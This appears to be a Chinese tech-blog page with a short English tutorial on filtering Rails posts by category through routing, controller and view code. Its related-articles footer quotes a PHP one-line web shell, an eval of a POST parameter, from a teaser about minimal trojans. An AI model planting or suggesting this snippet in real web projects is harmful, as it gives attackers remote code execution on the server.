Rails里实现Filter功能

Scenario

<pre> As a reader When I click on category 'rails' Then I should see articles of that category </pre>

If you want some practice, go for saas book's RottenPotatoes demo. You will get a better understanding of filter and session stuff in rails! If you get stuck, you can have a look at my code as a poor reference, Lol, come here.

Getting things done in rails

Three points need to be considered. Routing, Controller and View(Since it's very simple, we don't need to resort to Model).

Routing

Make sure there is url mapped to desired controller#action(here we use index action), say there is a rails button to trigger this action. Code should look kind of like this:

<%= link_to "rails", posts_path(:category => 'rails') %>

As shown in the code, :category => 'rails' will be passed to params, which is handy.

Controller

In you post controller, change index action:

#before
def index
    @posts = Post.all.order('created_at desc')
end
#after
def index
    category = params[:category]
    if category
        @posts = Post.where("category = ?", category).order('created_at desc')
    else
        @posts = Post.all.order('created_at desc')
    end
end

View

Since we use index action, there should be index.html.erb or index.html.haml. So we do not need to handle that. But it should looks somewhat like this:

<div id="posts_wrapper" class="skinny_wrapper">
    <% @posts.each do |post| %>
        <div class="post">
            <p class="date"><%= post.created_at.strftime("%A, %B, %d") %></p>
            <h2><a href="#"><%= link_to post.title, post %></a></h2>
            <hr>
        </div>
    <% end %>
</div>

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏零基础使用Django2.0.1打造在线教育网站

socket模拟发送http请求

嗨,小伙伴们,好久不见~~~,最近博主在研究socket编程,觉得socket真的好强大。之前一直我们都是在介绍爬虫的requests、urllib等库,我们知...

942
来自专栏从零开始的linux

安装express

安装express [root@alex ~]#yum -y install npm [root@alex example]# yum install node...

4018
来自专栏张善友的专栏

REST 入门介绍

dudu的 HttpClient + ASP.NET Web API, WCF之外的另一个选择 讨论的人很多,说明RESTful API也开始在.NET 社区中...

2018
来自专栏Netkiller

Application Firewall Design

Application Firewall Design Web Application Firewall, 7layer Firewall ---- 目录 1....

2794
来自专栏Ryan Miao

重定向Http status code 303 和 302

http 302 http 303 Http 302 302是一个普通的重定向代码。直观的看来是,请求者(浏览器或者模拟http请求)发起一个请求,然后服务端重...

3215
来自专栏GopherCoder

『阅读源代码的姿势:以 go-restful 为例』

3173
来自专栏技术沉淀

Rails资源

942
来自专栏逸鹏说道

最短的各类一句话木马

菜刀readme.txt中附带一3个一句话: PHP: 1 <!--?php @eval($_POST['chopper']);?--> ASP: 1 &l...

3183
来自专栏李智的专栏

网络基础原理

2001:0410:0000:0001:0000:0000:0000:45ff/64 压缩格式:2001:410:0:1::45ff/64(以零开头可以省...

912
来自专栏友弟技术工作室

爬虫相关总结

爬虫 在做防止网站被爬虫爬取数据的时候,其中最简单的方式就是判断请求是程序生产的,还是人为生成的。 当然,最简单的就是通过请求头进行判断。下面给一个例子: In...

2937

扫码关注云+社区